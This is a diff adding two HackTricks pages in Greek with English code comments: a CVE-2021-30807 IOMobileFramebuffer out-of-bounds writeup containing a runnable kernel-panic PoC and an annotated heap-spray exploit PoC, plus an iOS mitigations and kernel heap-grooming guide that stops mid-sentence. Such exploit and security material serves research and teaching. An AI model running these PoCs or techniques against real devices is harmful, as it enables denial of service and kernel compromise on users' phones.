b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,297 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## Το Σφάλμα + +You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary: + +- Η ευάλωτη διαδρομή κώδικα είναι η **external method #83** του user client **IOMobileFramebuffer / AppleCLCD**: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Αυτή η μέθοδος λαμβάνει μια παράμετρο που ελέγχεται από τον χρήστη, η οποία δεν ελέγχεται με κανέναν τρόπο και προωθείται στην επόμενη συνάρτηση ως **`scalar0`**. + +- Αυτή η μέθοδος προωθεί στην **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, όπου **`scalar0`** (μια τιμή **32-bit** ελεγχόμενη από τον χρήστη) χρησιμοποιείται ως δείκτης (index) σε έναν εσωτερικό πίνακα δεικτών χωρίς **κανέναν έλεγχο ορίων**: + +> `ptr = *(this + 0xA58 + scalar0 * 8);` → περνάει στο `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` ως **`IOSurface*`**.\ +> **Αποτέλεσμα:** **OOB pointer read & type confusion** στον πίνακα αυτό. Εάν ο pointer δεν είναι έγκυρος, η deref του kernel προκαλεί panic → **DoS**. + +> [!NOTE] +> Αυτό διορθώθηκε σε **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** + + +> [!WARNING] +> Η αρχική συνάρτηση που καλεί `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` προστατεύεται από το entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Ωστόσο, η **WebKit.WebContent** έχει αυτό το entitlement, οπότε μπορεί να χρησιμοποιηθεί για να ενεργοποιήσει το vuln από μια sandboxed διαδικασία. + +## DoS PoC + +Παρακάτω είναι το αρχικό DoS PoC από το άρθρο στο blog με επιπλέον σχόλια: +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; + +// The "type" argument is the type (selector) of user client to open. +// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the +// external methods we need (incl. selector 83). If this doesn't work on your +// build, try different types or query IORegistry to enumerate. +int type = 2; + +// 1) Locate the IOMobileFramebuffer service in the IORegistry. +// This returns the first matched service object (a kernel object handle). +io_service_t service = IOServiceGetMatchingService( +kIOMasterPortDefault, +IOServiceMatching("IOMobileFramebuffer")); + +if (service == MACH_PORT_NULL) { +printf("failed to open service\n"); +return; +} + +printf("service: 0x%x\n", service); + +// 2) Open a connection (user client) to the service. +// The user client is what exposes external methods to userland. +// 'type' selects which user client class/variant to instantiate. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if (ret != KERN_SUCCESS) { +printf("failed to open userclient: %s\n", mach_error_string(ret)); +return; +} + +printf("client: 0x%x\n", shared_user_client_conn); + +printf("call externalMethod\n"); + +// 3) Prepare input scalars for the external method call. +// The vulnerable path uses a 32-bit scalar as an INDEX into an internal +// array of pointers WITHOUT bounds checking (OOB read / type confusion). +// We set it to a large value to force the out-of-bounds access. +uint64_t scalars[4] = { 0x0 }; +scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup + +// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). +uint64_t output_scalars[4] = { 0 }; +uint32_t output_scalars_size = 1; + +printf("call s_default_fb_surface\n"); + +// 5) Invoke external method #83. +// On vulnerable builds, this path ends up calling: +// IOMobileFramebufferUserClient::s_displayed_fb_surface(...) +// → IOMobileFramebufferLegacy::get_displayed_surface(...) +// which uses our index to read a pointer and then passes it as IOSurface*. +// If the pointer is bogus, IOSurface code will dereference it and the kernel +// will panic (DoS). +ret = IOConnectCallMethod( +shared_user_client_conn, +83, // **Selector 83**: vulnerable external method +scalars, 1, // input scalars (count = 1; the OOB index) +NULL, 0, // no input struct +output_scalars, &output_scalars_size, // optional outputs +NULL, NULL); // no output struct + +// 6) Check the call result. On many vulnerable targets, you'll see either +// KERN_SUCCESS right before a panic (because the deref happens deeper), +// or an error if the call path rejects the request (e.g., entitlement/type). +if (ret != KERN_SUCCESS) { +printf("failed to call external method: 0x%x --> %s\n", +ret, mach_error_string(ret)); +return; +} + +printf("external method returned KERN_SUCCESS\n"); + +// 7) Clean up the user client connection handle. +IOServiceClose(shared_user_client_conn); +printf("success!\n"); +} +``` +## Arbitrary Read PoC Explained + +1. **Άνοιγμα του σωστού user client** + +- `get_appleclcd_uc()` βρίσκει την υπηρεσία **AppleCLCD** και ανοίγει **user client type 2**. AppleCLCD και IOMobileFramebuffer μοιράζονται τον ίδιο external-methods πίνακα· το type 2 εκθέτει **selector 83**, τη ευπαθή μέθοδο. **Αυτό είναι το entry σου στο bug.** E_POC/) + +**Γιατί το 83 έχει σημασία:** το decompiled μονοπάτι είναι: + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ +→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ +→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ +Μέσα σε αυτή την τελευταία κλήση, ο κώδικας **χρησιμοποιεί το 32-bit scalar σου ως δείκτη πίνακα χωρίς έλεγχο ορίων**, παίρνει έναν pointer από **`this + 0xA58 + index*8`**, και **τον περνάει ως `IOSurface*`** στο `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **Αυτό είναι το OOB + type confusion.** + +2. **The heap spray (why IOSurface shows up here)** + +- `do_spray()` χρησιμοποιεί **`IOSurfaceRootUserClient`** για να **δημιουργήσει πολλά IOSurfaces** και να **spray small values** (`s_set_value` style). Αυτό γεμίζει τα γειτονικά kernel heaps με **pointers σε έγκυρα IOSurface objects**. + +- **Στόχος:** όταν ο selector 83 διαβάσει πέρα από τον νόμιμο πίνακα, η **OOB θέση πιθανότατα θα περιέχει pointer σε ένα από τα (πραγματικά) IOSurfaces** σου---έτσι η μεταγενέστερη dereference **δεν κρασάρει** και **επιτυγχάνει**. IOSurface είναι ένα κλασικό, καλά τεκμηριωμένο kernel spray primitive, και η ανάρτηση του Saar αναφέρει ρητά τις μεθόδους **create / set_value / lookup** που χρησιμοποιούνται σε αυτή τη ροή εκμετάλλευσης. + +3. **Το κόλπο "offset/8" (τι είναι πραγματικά αυτό το index)** + +- Στο `trigger_oob(offset)`, ορίζεις `scalars[0] = offset / 8`. + +- **Γιατί διαίρεση με 8;** Ο kernel κάνει **`base + index*8`** για να υπολογίσει ποια **pointer-sized slot** θα διαβάσει. Επιλέγεις το **"slot number N"**, όχι ένα byte offset. **Οκτώ bytes ανά slot** στο 64-bit. + +- Η υπολογισμένη διεύθυνση είναι **`this + 0xA58 + index*8`**. Το PoC χρησιμοποιεί μια μεγάλη σταθερά (`0x1200000 + 0x1048`) απλά για να μεταβεί **πολύ έξω από τα όρια** σε μια περιοχή που προσπάθησες να **γεμίσεις πυκνά με pointers IOSurface**. **Αν το spray "νικήσει", η θέση που χτυπάς είναι ένα έγκυρο `IOSurface*`.** + +4. **Τι επιστρέφει ο selector 83 (αυτό είναι το λεπτό μέρος)** + +- Η κλήση είναι: + +`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, +output_scalars, &output_scalars_size, NULL, NULL);`o + +- Εσωτερικά, μετά το OOB pointer fetch, ο driver καλεί\ +**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**. + +- **Αποτέλεσμα:** **`output_scalars[0]` είναι ένα Mach port name (u32 handle) στο task σου** για *οποιοδήποτε object pointer έδωσες μέσω OOB*. **Δεν είναι ένα raw kernel address leak; είναι ένα userspace handle (send right).** Αυτή η ακριβής συμπεριφορά (copying a *port name*) φαίνεται στην decompilation του Saar. + +**Γιατί είναι χρήσιμο:** με ένα **port name** προς το (υποτιθέμενο) IOSurface, μπορείς τώρα να χρησιμοποιήσεις μεθόδους του **IOSurfaceRoot** όπως: + +- **`s_lookup_surface_from_port` (method 34)** → να μετατρέψεις το port σε **surface ID** που μπορείς να χειριστείς μέσω άλλων IOSurface κλήσεων, και + +- **`s_create_port_from_surface` (method 35)** αν χρειάζεσαι το αντίστροφο.\ +Ο Saar αναφέρει ρητά αυτές τις μεθόδους ως το επόμενο βήμα. **Το PoC αποδεικνύει ότι μπορείς να "παράγεις" ένα νόμιμο IOSurface handle από μια OOB θέση.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps: +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; +int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐ +// (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + +// Find the **AppleCLCD** service in the IORegistry. +io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, +IOServiceMatching("AppleCLCD")); +if(service == MACH_PORT_NULL) { +printf("[-] failed to open service\n"); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD service: 0x%x\n", service); + +// Open a user client connection to AppleCLCD with the chosen **type**. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if(ret != KERN_SUCCESS) { +printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); +return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { +kern_return_t ret; + +// The method takes a single 32-bit scalar that it uses as an index. +uint64_t scalars[1] = { 0x0 }; +scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐ + +// #83 returns one scalar. In this flow it will be the Mach port name +// (a u32 handle in our task), not a kernel pointer. +uint64_t output_scalars[1] = { 0 }; +uint32_t output_scalars_size = 1; + +io_connect_t appleclcd_uc = get_appleclcd_uc(); +if (appleclcd_uc == MACH_PORT_NULL) { +return 0; +} + +// Call external method 83. Internally: +// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch +// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) +// which creates a send right for that object and writes its port name +// into output_scalars[0]. If ptr is junk → deref/panic (DoS). +ret = IOConnectCallMethod(appleclcd_uc, 83, +scalars, 1, +NULL, 0, +output_scalars, &output_scalars_size, +NULL, NULL); + +if (ret != KERN_SUCCESS) { +printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); +return 0; +} + +// This is the key: you get back a Mach port name (u32) to whatever +// object was at that OOB slot (ideally an IOSurface you sprayed). +printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); +return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { +char data[0x10]; +memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + +// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +printf("[-] do_spray: failed to allocate new iosurface_uc\n"); +return false; +} + +// Create many IOSurfaces and use set_value / value spray helpers +// (Brandon Azad-style) to fan out allocations in kalloc. ⭐ +int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); +for (size_t i = 0; i < SURFACES_COUNT; ++i) { +surface_ids[i] = create_surface(iosurface_uc); // s_create_surface +if (surface_ids[i] <= 0) { +return false; +} + +// Spray small values repeatedly: tends to allocate/fill predictable +// kalloc regions near where the IOMFB table OOB will read from. +// The “with_gc” flavor forces periodic GC to keep memory moving/packed. +if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], +20, 200, // rounds, per-round items +data, sizeof(data), +NULL) == false) { +printf("iosurface spray failed\n"); +return false; +} +} +return true; +} + +int main(void) { +// Ensure we can talk to IOSurfaceRoot (some helpers depend on it). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +return 0; +} + +printf("[*] do spray\n"); +if (do_spray() == false) { +printf("[-] shape failed, abort\n"); +return 1; +} +printf("[*] spray success\n"); + +// Trigger the OOB read. The magic constant chooses a pointer-slot +// far beyond the legit array (offset is in bytes; index = offset/8). +// If the spray worked, this returns a **Mach port name** (handle) to one +// of your sprayed IOSurfaces; otherwise it may crash. +printf("[*] trigger\n"); +trigger_oob(0x1200000 + 0x1048); +return 0; +} +``` +## Αναφορές +- [Αρχικό writeup από τον Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [Έρευνα από τον jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..4119a221b --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,259 @@ +# iOS Exploiting + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** στο iOS λειτουργεί απαιτώντας κάθε κομμάτι εκτελέσιμου κώδικα (apps, libraries, extensions, κ.λπ.) να είναι κρυπτογραφικά υπογεγραμμένο με πιστοποιητικό που εκδίδεται από Apple. Όταν φορτώνεται κώδικας, το iOS επαληθεύει την ψηφιακή υπογραφή έναντι της αξιόπιστης root της Apple. Αν η υπογραφή είναι άκυρη, λείπει ή έχει τροποποιηθεί, το OS αρνείται να την εκτελέσει. Αυτό εμποδίζει τους επιτιθέμενους να εισάγουν κακόβουλο κώδικα σε νόμιμες εφαρμογές ή να τρέχουν ανυπόγραφους δυαδικούς, σταματώντας στην πράξη τις περισσότερες αλυσίδες exploit που βασίζονται στην εκτέλεση αυθαίρετου ή τροποποιημένου κώδικα. +- **CoreTrust** είναι το υποσύστημα του iOS που είναι υπεύθυνο για την επιβολή του code signing σε runtime. Επαληθεύει απευθείας υπογραφές χρησιμοποιώντας το root πιστοποιητικό της Apple χωρίς να βασίζεται σε cached trust stores, που σημαίνει ότι μόνο binaries υπογεγραμμένα από την Apple (ή με έγκυρα entitlements) μπορούν να εκτελεστούν. Το CoreTrust εξασφαλίζει ότι ακόμα κι αν κάποιος αλλοιώσει μια app μετά την εγκατάσταση, τροποποιήσει system libraries ή προσπαθήσει να φορτώσει unsigned code, το σύστημα θα μπλοκάρει την εκτέλεση εκτός αν ο κώδικας παραμένει σωστά υπογεγραμμένος. Αυτή η αυστηρή επιβολή κλείνει πολλούς post-exploitation διαδρόμους που παλαιότερες εκδόσεις του iOS επέτρεπαν μέσω αδύνατων ή παρακαμπτόμενων ελέγχων υπογραφών. +- **Data Execution Prevention (DEP)** σηματοδοτεί περιοχές μνήμης ως non-executable εκτός αν περιέχουν ρητά κώδικα. Αυτό εμποδίζει τους επιτιθέμενους να εγχύσουν shellcode σε data regions (όπως stack ή heap) και να τον εκτελέσουν, αναγκάζοντάς τους να βασιστούν σε πιο σύνθετες τεχνικές όπως ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** τυχαΐζει τις διευθύνσεις μνήμης για κώδικα, libraries, stack και heap κάθε φορά που τρέχει το σύστημα. Αυτό καθιστά πολύ δυσκολότερο για τους επιτιθέμενους να προβλέψουν πού βρίσκονται χρήσιμες εντολές ή gadgets, σπάζοντας πολλές αλυσίδες exploit που εξαρτώνται από στατικές διατάξεις μνήμης. +- **KASLR (Kernel ASLR)** εφαρμόζει την ίδια έννοια τυχαιοποίησης στον kernel του iOS. Με την ανακατέψη της base address του kernel σε κάθε εκκίνηση, εμποδίζει τους επιτιθέμενους να εντοπίσουν με αξιοπιστία kernel functions ή δομές, αυξάνοντας τη δυσκολία σε kernel-level exploits που διαφορετικά θα απέκτηναν πλήρη έλεγχο του συστήματος. +- **Kernel Patch Protection (KPP)** γνωστή και ως **AMCC (Apple Mobile File Integrity)** στο iOS, παρακολουθεί συνεχώς τις σελίδες κώδικα του kernel για να βεβαιωθεί ότι δεν έχουν τροποποιηθεί. Αν ανιχνευθεί οποιαδήποτε παραβίαση—όπως ένα exploit που προσπαθεί να αλλάξει kernel functions ή να εισάγει κακόβουλο κώδικα—η συσκευή θα πάθει panic και θα κάνει επανεκκίνηση. Αυτή η προστασία καθιστά πολύ πιο δύσκολα τα επίμονα kernel exploits, καθώς οι επιτιθέμενοι δεν μπορούν απλά να κάνουν hook ή patch σε kernel instructions χωρίς να προκαλέσουν κρασάρισμα του συστήματος. +- **Kernel Text Readonly Region (KTRR)** είναι μια hardware-based λειτουργία ασφάλειας που εισήχθη σε συσκευές iOS. Χρησιμοποιεί τον memory controller του CPU για να σημάνει το text section του kernel ως μόνιμα read-only μετά το boot. Μόλις κλειδωθεί, ούτε ο ίδιος ο kernel μπορεί να τροποποιήσει αυτή την περιοχή μνήμης. Αυτό αποτρέπει τους επιτιθέμενους—και ακόμα και privileged code—από το να κάνουν patch σε kernel instructions σε runtime, κλείνοντας μια σημαντική κατηγορία exploits που βασιζόταν στην άμεση τροποποίηση του kernel κώδικα. +- **Pointer Authentication Codes (PAC)** χρησιμοποιούν κρυπτογραφικές υπογραφές ενσωματωμένες σε αχρησιμοποίητα bits των pointers για να επαληθεύουν την ακεραιότητά τους πριν τη χρήση. Όταν δημιουργείται ένας pointer (όπως μια return address ή function pointer), η CPU τον υπογράφει με ένα secret key· πριν γίνει dereference, η CPU ελέγχει την υπογραφή. Αν ο pointer έχει παραποιηθεί, ο έλεγχος αποτυγχάνει και η εκτέλεση σταματά. Αυτό εμποδίζει τους επιτιθέμενους από το να πλαστογραφήσουν ή να επαναχρησιμοποιήσουν κατεστραμμένους pointers σε memory corruption exploits, κάνοντας τεχνικές όπως ROP ή JOP πολύ πιο δύσκολες να υλοποιηθούν αξιόπιστα. +- **Privilege Access never (PAN)** είναι μια hardware λειτουργία που αποτρέπει τον kernel (privileged mode) από το να έχει άμεση πρόσβαση σε user-space μνήμη εκτός αν ενεργοποιήσει ρητά αυτή την πρόσβαση. Αυτό σταματάει επιτιθέμενους που απέκτησαν kernel code execution από το να διαβάσουν ή να γράψουν εύκολα user memory για να κλιμακώσουν exploits ή να κλέψουν ευαίσθητα δεδομένα. Με την επιβολή αυστηρού διαχωρισμού, το PAN μειώνει τον αντίκτυπο kernel exploits και μπλοκάρει πολλές κοινές τεχνικές privilege-escalation. +- **Page Protection Layer (PPL)** είναι ένας μηχανισμός ασφάλειας στο iOS που προστατεύει κρίσιμες περιοχές μνήμης που διαχειρίζεται ο kernel, ειδικά αυτές που σχετίζονται με code signing και entitlements. Εφαρμόζει αυστηρές write protections χρησιμοποιώντας την MMU (Memory Management Unit) και πρόσθετους ελέγχους, εξασφαλίζοντας ότι ακόμα και privileged kernel code δεν μπορεί αυθαίρετα να τροποποιήσει ευαίσθητες σελίδες. Αυτό αποτρέπει επιτιθέμενους που αποκτούν kernel-level execution από το να παραποιήσουν security-critical δομές, κάνοντας την επιμονή και τις παρακαμπτήριες υπογραφών πολύ πιο δύσκολες. + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +Ο kernel χρησιμοποιούσε έναν **zone allocator** (`kalloc`) χωρισμένο σε ζώνες ("zones") με σταθερό μέγεθος. +Κάθε ζώνη αποθηκεύει μόνο allocations μιας συγκεκριμένης size class. + +From the screenshot: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | Πολύ μικρές kernel structs, pointers. | +| `default.kalloc.32` | 32 bytes | Μικρές δομές, object headers. | +| `default.kalloc.64` | 64 bytes | IPC messages, πολύ μικροί kernel buffers. | +| `default.kalloc.128` | 128 bytes | Μεσαία αντικείμενα όπως μέρη του `OSObject`. | +| `default.kalloc.256` | 256 bytes | Μεγαλύτερα IPC messages, πίνακες, device structures. | +| … | … | … | +| `default.kalloc.1280`| 1280 bytes | Μεγάλες δομές, IOSurface/γραφικά metadata. | + +**Πώς λειτουργούσε:** +- Κάθε αίτημα allocation γίνεται **στρογγυλοποιημένο προς τα πάνω** στο πλησιέστερο μέγεθος ζώνης. +(π.χ., ένα αίτημα 50-byte καταλήγει στη ζώνη `kalloc.64`). +- Η μνήμη σε κάθε ζώνη κρατιόταν σε μια **free list** — κομμάτια που απελευθερώνονταν από τον kernel επέστρεφαν σε εκείνη τη ζώνη. +- Αν υπερχείλιζες ένα buffer των 64 bytes, θα έγραφες πάνω στο **επόμενο αντικείμενο στην ίδια ζώνη**. + +Γι’ αυτό το λόγο το **heap spraying / feng shui** ήταν τόσο αποτελεσματικό: μπορούσες να προβλέψεις τους γείτονες των αντικειμένων ψεκάζοντας allocations της ίδιας size class. + +### The freelist + +Μέσα σε κάθε kalloc ζώνη, τα ελεύθερα αντικείμενα δεν επιστρέφονταν άμεσα στο σύστημα — πήγαιναν σε ένα freelist, μια συνδεδεμένη λίστα διαθέσιμων chunks. + +- Όταν ένα chunk απελευθερώνονταν, ο kernel έγραφε έναν pointer στην αρχή αυτού του chunk → τη διεύθυνση του επόμενου free chunk στην ίδια ζώνη. + +- Η ζώνη κρατούσε έναν δείκτη HEAD στο πρώτο free chunk. + +- Η allocation πάντα χρησιμοποιούσε το τρέχον HEAD: + +1. Pop HEAD (επιστροφή εκείνης της μνήμης στον καλούντα). + +2. Update HEAD = HEAD->next (αποθηκευμένο στην κεφαλίδα του freed chunk). + +- Η απελευθέρωση έσπρωχνε τα chunks πίσω: + +- `freed_chunk->next = HEAD` + +- `HEAD = freed_chunk` + +Άρα το freelist ήταν απλώς μια συνδεδεμένη λίστα που χτιζόταν μέσα στην ίδια την ελεύθερη μνήμη. + +Normal state: +``` +Zone page (64-byte chunks for example): +[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: +HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL +(next ptrs stored at start of freed chunks) +``` +### Εκμετάλλευση του freelist + +Δεδομένου ότι τα πρώτα 8 bytes ενός free chunk αντιστοιχούν στον freelist pointer, ένας επιτιθέμενος μπορεί να τον αλλοιώσει: + +1. **Heap overflow** σε ένα διπλανό freed chunk → overwrite του “next” pointer. + +2. **Use-after-free** write σε ένα freed object → overwrite του “next” pointer. + +Έπειτα, στην επόμενη allocation αυτού του μεγέθους: + +- Ο allocator κάνει pop στο corrupted chunk. + +- Ακολουθεί το attacker-supplied “next” pointer. + +- Επιστρέφει pointer προς arbitrary memory, επιτρέποντας fake object primitives ή targeted overwrite. + +Οπτικό παράδειγμα freelist poisoning: +``` +Before corruption: +HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL + +After attacker overwrite of F1->next: +HEAD ──► [ F1 ] +(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone → kernel hands out memory at attacker-controlled address. +``` +Αυτό το freelist design έκανε την εκμετάλλευση ιδιαίτερα αποτελεσματική πριν το hardening: predictable neighbors από heap sprays, raw pointer freelist links, και η έλλειψη type separation επέτρεπαν στους attackers να ανεβάσουν UAF/overflow bugs σε έλεγχο αυθαίρετης kernel μνήμης. + +### Heap Grooming / Feng Shui +Ο στόχος του heap grooming είναι να **διαμορφώσει το layout της heap** έτσι ώστε όταν ένας attacker ενεργοποιήσει ένα overflow ή use-after-free, το στόχο (victim) αντικείμενο να βρίσκεται ακριβώς δίπλα σε ένα αντικείμενο που ελέγχεται από τον attacker.\ +Με αυτόν τον τρόπο, όταν συμβεί καταστροφή μνήμης, ο attacker μπορεί αξιόπιστα να αντιγράψει πάνω στο victim αντικείμενο ελεγχόμενα δεδομένα. + +**Βήματα:** + +1. Spray allocations (fill the holes) +- Με την πάροδο του χρόνου, η kernel heap κατακερματίζεται: κάποιες ζώνες έχουν κενά όπου παλιά αντικείμενα απελευθερώθηκαν. +- Ο attacker πρώτα κάνει πολλές dummy allocations για να γεμίσει αυτά τα κενά, έτσι ώστε η heap να γίνει «συμπαγής» και προβλέψιμη. + +2. Force new pages +- Μόλις τα κενά γεμίσουν, οι επόμενες allocations πρέπει να προέλθουν από νέες σελίδες που προστίθενται στη ζώνη. +- Νέες σελίδες σημαίνουν ότι τα αντικείμενα θα ομαδοποιηθούν μαζί, όχι σκορπισμένα πάνω σε παλαιά κατακερματισμένα τμήματα μνήμης. +- Αυτό δίνει στον attacker πολύ καλύτερο έλεγχο των γειτόνων. + +3. Place attacker objects +- Ο attacker ψεκάζει ξανά, δημιουργώντας πολλά attacker-controlled objects σε αυτές τις νέες σελίδες. +- Αυτά τα αντικείμενα έχουν προβλέψιμο μέγεθος και θέση (εφόσον ανήκουν στην ίδια ζώνη). + +4. Free a controlled object (make a gap) +- Ο attacker σκόπιμα απελευθερώνει κάποιο από τα δικά του αντικείμενα. +- Αυτό δημιουργεί μια «τρύπα» στην heap, την οποία ο allocator θα ξαναχρησιμοποιήσει για την επόμενη allocation ίδιου μεγέθους. + +5. Victim object lands in the hole +- Ο attacker προκαλεί το kernel να κάνει allocation για το victim αντικείμενο (αυτό που θέλει να καταστρέψει). +- Εφόσον η τρύπα είναι το πρώτο διαθέσιμο slot στο freelist, το victim τοποθετείται ακριβώς εκεί που ο attacker απελευθέρωσε το αντικείμενό του. + +6. Overflow / UAF into victim +- Τώρα ο attacker έχει attacker-controlled objects γύρω από το victim. +- Με overflow από κάποιο από τα δικά του αντικείμενα (ή επαναχρησιμοποίηση ενός freed), μπορεί αξιόπιστα να αντικαταστήσει τα πεδία μνήμης του victim με επιλεγμένες τιμές. + +**Γιατί δουλεύει**: + +- Zone allocator predictability: allocations ίδιου μεγέθους πάντα προέρχονται από την ίδια ζώνη. +- Freelist behavior: νέες allocations ξαναχρησιμοποιούν πρώτα το πιο πρόσφατα freed chunk. +- Heap sprays: ο attacker γεμίζει τη μνήμη με προβλέψιμο περιεχόμενο και ελέγχει το layout. +- Τελικό αποτέλεσμα: ο attacker ελέγχει πού προσγειώνεται το victim αντικείμενο και ποια δεδομένα βρίσκονται δίπλα του. + +--- + +## Modern Kernel Heap (iOS 15+/A12+ SoCs) + +Η Apple ενίσχυσε τον allocator και έκανε το **heap grooming πολύ πιο δύσκολο**: + +### 1. From Classic kalloc to kalloc_type +- **Before**: υπήρχε μια μοναδική `kalloc.` ζώνη για κάθε size class (16, 32, 64, … 1280, κ.λπ.). Οποιοδήποτε αντικείμενο αυτού του μεγέθους τοποθετούνταν εκεί → attacker objects μπορούσαν να βρεθούν δίπλα σε privileged kernel objects. +- **Now**: +- Kernel objects allocated από **typed zones** (`kalloc_type`). +- Κάθε type αντικειμένου (π.χ. `ipc_port_t`, `task_t`, `OSString`, `OSData`) έχει τη δική του αφιερωμένη ζώνη, ακόμα κι αν έχουν το ίδιο μέγεθος. +- Το mapping μεταξύ object type ↔ zone δημιουργείται από το **kalloc_type system** κατά το compile time. + +Ένας attacker πλέον δεν μπορεί να εγγυηθεί ότι ελεγχόμενα δεδομένα (`OSData`) θα βρεθούν δίπλα σε ευαίσθητα kernel objects (`task_t`) ίδιου μεγέθους. + +### 2. Slabs and Per-CPU Caches +- Η heap χωρίζεται σε **slabs** (σελίδες μνήμης χωρισμένες σε fixed-size chunks για εκείνη τη ζώνη). +- Κάθε ζώνη έχει ένα **per-CPU cache** για μείωση contention. +- Allocation path: +1. Προσπάθεια από per-CPU cache. +2. Αν είναι άδειο, τράβηγμα από το global freelist. +3. Αν το freelist είναι άδειο, allocate νέου slab (μία ή περισσότερες σελίδες). +- **Όφελος**: αυτή η αποκέντρωση κάνει τα heap sprays λιγότερο ντετερμινιστικά, καθώς allocations μπορεί να εξυπηρετηθούν από caches διαφορετικών CPUs. + +### 3. Randomization inside zones +- Εντός μιας ζώνης, τα freed elements δεν επιστρέφονται σε απλή FIFO/LIFO σειρά. +- Το σύγχρονο XNU χρησιμοποιεί **encoded freelist pointers** (safe-linking σαν το Linux, εισήχθη ~iOS 14). +- Κάθε freelist pointer είναι **XOR-κωδικοποιημένος** με ένα per-zone secret cookie. +- Αυτό αποτρέπει τους attackers από το να πλαστογραφήσουν fake freelist pointer αν αποκτήσουν write primitive. +- Κάποιες allocations **τυχαίνουν στη θέση μέσα σε ένα slab**, οπότε το spraying δεν εγγυάται γειτονία. + +### 4. Guarded Allocations +- Ορισμένα κρίσιμα kernel αντικείμενα (π.χ. credentials, task structures) allocated σε **guarded zones**. +- Αυτές οι ζώνες εισάγουν **guard pages** (unmapped μνήμη) μεταξύ slabs ή χρησιμοποιούν **redzones** γύρω από αντικείμενα. +- Οποιοδήποτε overflow στο guard page προκαλεί fault → άμεσο panic αντί για σιωπηρή καταστροφή. + +### 5. Page Protection Layer (PPL) και SPTM +- Ακόμα και αν ελέγχεις ένα freed αντικείμενο, δεν μπορείς να τροποποιήσεις όλη την kernel μνήμη: +- **PPL (Page Protection Layer)** επιβάλλει ότι 